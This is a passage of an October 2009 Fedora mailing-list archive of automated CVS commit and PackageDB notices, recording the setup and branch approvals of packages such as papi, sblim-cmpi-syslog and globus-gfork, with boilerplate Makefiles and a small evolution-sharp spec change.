From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:31 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091026201131.14A4D11C02C6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsPh4859/rpms/gdouros-aegyptus-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gdouros-aegyptus-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gdouros-aegyptus-fonts
# $Id: Makefile,v 1.1 2009/10/26 20:11:30 kevin Exp $
NAME := gdouros-aegyptus-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:11:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:11:48 +0000
Subject: [pkgdb] papi was added for wcohen
Message-ID: <20091026201148.969E510F880@bastion2.fedora.phx.redhat.com>

kevin has added Package papi with summary Performance Application Programming Interface
kevin has approved Package papi
kevin has added a Fedora devel branch for papi with an owner of wcohen
kevin has approved papi in Fedora devel
kevin has approved Package papi
kevin has set commit to Approved for 107427 on papi (Fedora devel)
kevin has set checkout to Approved for 107427 on papi (Fedora devel)
kevin has set build to Approved for 107427 on papi (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/papi



From pkgdb at fedoraproject.org  Mon Oct 26 20:11:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:11:49 +0000
Subject: [pkgdb] papi summary updated by kevin
Message-ID: <20091026201150.12BD510F89C@bastion2.fedora.phx.redhat.com>

kevin set package papi summary to Performance Application Programming Interface

To make changes to this package see:
  /pkgdb/packages/name/papi



From pkgdb at fedoraproject.org  Mon Oct 26 20:11:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:11:49 +0000
Subject: [pkgdb] papi (Fedora, 12) updated by kevin
Message-ID: <20091026201150.1C2B610F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for papi
kevin has set commit to Approved for 107427 on papi (Fedora 12)
kevin has set checkout to Approved for 107427 on papi (Fedora 12)
kevin has set build to Approved for 107427 on papi (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/papi



From kevin at fedoraproject.org  Mon Oct 26 20:11:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:59 +0000 (UTC)
Subject: rpms/papi - New directory
Message-ID: <20091026201159.1B97911C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/papi
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsIr5486/rpms/papi

Log Message:
Directory /cvs/pkgs/rpms/papi added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:11:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:11:59 +0000 (UTC)
Subject: rpms/papi/devel - New directory
Message-ID: <20091026201159.434E811C029D@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/papi/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsIr5486/rpms/papi/devel

Log Message:
Directory /cvs/pkgs/rpms/papi/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:12:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:06 +0000 (UTC)
Subject: rpms/papi Makefile,NONE,1.1
Message-ID: <20091026201206.C7AE511C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/papi
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsIr5486/rpms/papi

Added Files:
	Makefile 
Log Message:
Setup of module papi


--- NEW FILE Makefile ---
# Top level Makefile for module papi
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:12:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:07 +0000 (UTC)
Subject: rpms/papi/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091026201207.23DC711C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/papi/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsIr5486/rpms/papi/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module papi


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: papi
# $Id: Makefile,v 1.1 2009/10/26 20:12:06 kevin Exp $
NAME := papi
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:30 +0000
Subject: [pkgdb] sblim-cmpi-syslog was added for vcrhonek
Message-ID: <20091026201230.6CE0B10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-syslog with summary SBLIM Syslog Providers
kevin has approved Package sblim-cmpi-syslog
kevin has added a Fedora devel branch for sblim-cmpi-syslog with an owner of vcrhonek
kevin has approved sblim-cmpi-syslog in Fedora devel
kevin has approved Package sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:31 +0000
Subject: [pkgdb] sblim-cmpi-syslog summary updated by kevin
Message-ID: <20091026201232.0E78010F895@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-syslog summary to SBLIM Syslog Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:31 +0000
Subject: [pkgdb] sblim-cmpi-syslog (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201232.1573E10F89D@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:31 +0000
Subject: [pkgdb] sblim-cmpi-syslog (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201232.2887A10F8A6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:31 +0000
Subject: [pkgdb] sblim-cmpi-syslog (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201232.35C0310F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:32 +0000
Subject: [pkgdb] sblim-cmpi-syslog (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201232.3F8AB10F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From pkgdb at fedoraproject.org  Mon Oct 26 20:12:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:12:32 +0000
Subject: [pkgdb] sblim-cmpi-syslog (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201232.47F9010F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-syslog
kevin has set commit to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-syslog (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-syslog



From kevin at fedoraproject.org  Mon Oct 26 20:12:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:39 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog - New directory
Message-ID: <20091026201239.1E5ED11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-syslog
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOw5684/rpms/sblim-cmpi-syslog

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-syslog added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:12:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:39 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog/devel - New directory
Message-ID: <20091026201239.3CD8E11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-syslog/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOw5684/rpms/sblim-cmpi-syslog/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-syslog/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:12:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:47 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog Makefile,NONE,1.1
Message-ID: <20091026201247.C953E11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-syslog
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOw5684/rpms/sblim-cmpi-syslog

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-syslog


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-syslog
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:12:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:12:48 +0000 (UTC)
Subject: rpms/sblim-cmpi-syslog/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091026201248.286BD11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-syslog/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOw5684/rpms/sblim-cmpi-syslog/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-syslog


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-syslog
# $Id: Makefile,v 1.1 2009/10/26 20:12:47 kevin Exp $
NAME := sblim-cmpi-syslog
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:04 +0000
Subject: [pkgdb] sblim-cmpi-params was added for vcrhonek
Message-ID: <20091026201304.E494D10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-params with summary SBLIM Params Providers
kevin has approved Package sblim-cmpi-params
kevin has added a Fedora devel branch for sblim-cmpi-params with an owner of vcrhonek
kevin has approved sblim-cmpi-params in Fedora devel
kevin has approved Package sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params summary updated by kevin
Message-ID: <20091026201306.B40B610F89D@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-params summary to SBLIM Params Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201306.CA25410F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201306.DEAA910F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201306.E969010F8B2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201307.05FD510F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:06 +0000
Subject: [pkgdb] sblim-cmpi-params (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201307.202FF10F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-params
kevin has set commit to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-params (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-params



From kevin at fedoraproject.org  Mon Oct 26 20:13:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:13:16 +0000 (UTC)
Subject: rpms/sblim-cmpi-params - New directory
Message-ID: <20091026201316.2296111C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-params
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsev6058/rpms/sblim-cmpi-params

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-params added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:13:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:13:16 +0000 (UTC)
Subject: rpms/sblim-cmpi-params/devel - New directory
Message-ID: <20091026201316.37CA111C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-params/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsev6058/rpms/sblim-cmpi-params/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-params/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 26 20:13:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:13:25 +0000 (UTC)
Subject: rpms/sblim-cmpi-params Makefile,NONE,1.1
Message-ID: <20091026201325.0086E11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-params
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsev6058/rpms/sblim-cmpi-params

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-params


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-params
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 26 20:13:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 20:13:25 +0000 (UTC)
Subject: rpms/sblim-cmpi-params/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091026201325.4320811C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-params/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsev6058/rpms/sblim-cmpi-params/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-params


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-params
# $Id: Makefile,v 1.1 2009/10/26 20:13:25 kevin Exp $
NAME := sblim-cmpi-params
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:52 +0000
Subject: [pkgdb] globus-gfork was added for ellert
Message-ID: <20091026201352.84BFA10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-gfork with summary Globus Toolkit - GFork
kevin has approved Package globus-gfork
kevin has added a Fedora devel branch for globus-gfork with an owner of ellert
kevin has approved globus-gfork in Fedora devel
kevin has approved Package globus-gfork
kevin has set commit to Approved for 107427 on globus-gfork (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-gfork (Fedora devel)
kevin has set build to Approved for 107427 on globus-gfork (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:54 +0000
Subject: [pkgdb] globus-gfork summary updated by kevin
Message-ID: <20091026201354.2CC9810F895@bastion2.fedora.phx.redhat.com>

kevin set package globus-gfork summary to Globus Toolkit - GFork

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:54 +0000
Subject: [pkgdb] globus-gfork (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201354.35C3510F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-gfork
kevin has set commit to Approved for 107427 on globus-gfork (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-gfork (Fedora 11)
kevin has set build to Approved for 107427 on globus-gfork (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:54 +0000
Subject: [pkgdb] globus-gfork (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201354.3C53710F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-gfork
kevin has set commit to Approved for 107427 on globus-gfork (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-gfork (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-gfork (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From ausil at fedoraproject.org  Mon Oct 26 20:13:52 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 20:13:52 +0000 (UTC)
Subject: rpms/evolution-sharp/F-12 evolution-sharp.spec,1.67,1.68
Message-ID: <20091026201352.B684D11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/evolution-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6457

Modified Files:
	evolution-sharp.spec 
Log Message:
Exclude sparc64



Index: evolution-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-sharp/F-12/evolution-sharp.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- evolution-sharp.spec	21 Aug 2009 01:53:31 -0000	1.67
+++ evolution-sharp.spec	26 Oct 2009 20:13:52 -0000	1.68
@@ -2,7 +2,7 @@
 
 Name: evolution-sharp
 Version: 0.21.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2
 Group: System Environment/Libraries
 Summary: Evolution Data Server Mono Bindings
@@ -10,8 +10,8 @@ URL: http://ftp.gnome.org/pub/GNOME/sour
 Source: http://ftp.gnome.org/pub/GNOME/sources/evolution-sharp/0.17/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 
-# Mono only availible on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+# Mono is not availible on these:
+ExcludeArch: sparc64
 
 ### Patches ###
 
@@ -90,6 +90,9 @@ rm -rf $RPM_BUILD_ROOT
 # sonames may need to be updated in evolution-sharp's configure.in.
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> 0.20.1-5
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Matthew Barnes <mbarnes at redhat.com> - 0.20.1-4.fc12
 - Stop setting an upper bound on the e-d-s version during configure.
 



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:54 +0000
Subject: [pkgdb] globus-gfork (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201354.4732A10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-gfork
kevin has set commit to Approved for 107427 on globus-gfork (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-gfork (Fedora 12)
kevin has set build to Approved for 107427 on globus-gfork (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From pkgdb at fedoraproject.org  Mon Oct 26 20:13:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 20:13:54 +0000
Subject: [pkgdb] globus-gfork (Fedora EPEL, 4) updated by kevin
Message-ID: <20091026201354.50F4910F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-gfork
kevin has set commit to Approved for 107427 on globus-gfork (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-gfork (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-gfork (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-gfork



From kevin at fedoraproject.org  Mon Oct 26 20:14:02 2009
